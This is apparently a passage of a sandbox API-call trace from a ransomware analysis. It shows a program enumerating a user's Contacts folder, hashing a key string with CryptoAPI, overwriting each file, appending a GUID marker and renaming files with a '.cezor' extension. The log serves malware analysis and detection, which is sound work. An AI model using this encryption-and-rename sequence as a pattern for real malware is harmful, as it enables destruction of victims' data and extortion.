[0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetLastError () returned 0x0 [0059.767] SetLastError (dwErrCode=0x0) [0059.767] GetLastError () returned 0x0 [0059.767] SetLastError (dwErrCode=0x0) [0059.767] GetLastError () returned 0x0 [0059.767] SetLastError (dwErrCode=0x0) [0059.767] GetLastError () returned 0x0 [0059.767] SetLastError (dwErrCode=0x0) [0059.767] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.767] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.767] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3033b68 | out: hHeap=0x670000) returned 1 [0059.767] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.767] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.767] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.767] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4a0) returned 0x3116f60 [0059.767] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.767] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.767] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb24*=0x491, lpOverlapped=0x0) returned 1 [0059.767] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.767] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.767] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f61b8 [0059.767] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.767] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x3116f60 [0059.767] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.767] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f61b8 | out: hHeap=0x670000) returned 1 [0059.767] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.768] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.768] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.768] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.768] CloseHandle (hObject=0x5c4) returned 1 [0059.768] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.768] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.768] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.769] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.cezor")) returned 1 [0059.769] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.769] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.770] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.770] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0059.770] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.770] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ea30 [0059.770] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.770] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0059.770] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.771] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=1172) returned 1 [0059.771] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.773] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.773] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.775] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.775] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.775] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.775] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x494, lpOverlapped=0x0) returned 1 [0059.775] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.775] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.775] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.775] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.775] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ec50) returned 1 [0059.776] CryptCreateHash (in: hProv=0x74ec50, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.776] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.776] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.776] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.776] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.776] SetLastError (dwErrCode=0x0) [0059.776] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.777] SetLastError (dwErrCode=0x0) [0059.777] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] GetLastError () returned 0x0 [0059.778] SetLastError (dwErrCode=0x0) [0059.778] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.778] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0059.778] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3033b68 | out: hHeap=0x670000) returned 1 [0059.778] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.778] CryptReleaseContext (hProv=0x74ec50, dwFlags=0x0) returned 1 [0059.778] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.778] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x490) returned 0x3116f60 [0059.778] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.778] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.778] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb24*=0x48f, lpOverlapped=0x0) returned 1 [0059.779] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.779] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.779] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f61b8 [0059.779] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.779] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x3116f60 [0059.779] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.779] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f61b8 | out: hHeap=0x670000) returned 1 [0059.779] WriteFile (in: hFile=0x5c4, lpBuffer=0x3116f60*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x3116f60*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.779] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3116f60 | out: hHeap=0x670000) returned 1 [0059.779] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.779] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.779] CloseHandle (hObject=0x5c4) returned 1 [0059.780] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0059.780] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0059.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0059.780] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.cezor")) returned 1 [0059.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.780] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.781] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ea30 | out: hHeap=0x670000) returned 1 [0059.781] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0059.781] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.781] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0059.781] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.781] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.781] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x31196b8 [0059.781] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.781] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.781] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.781] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.781] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.782] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.782] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.783] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.783] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.784] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.784] RtlAllocateHeap (HeapHandle=0x670000, 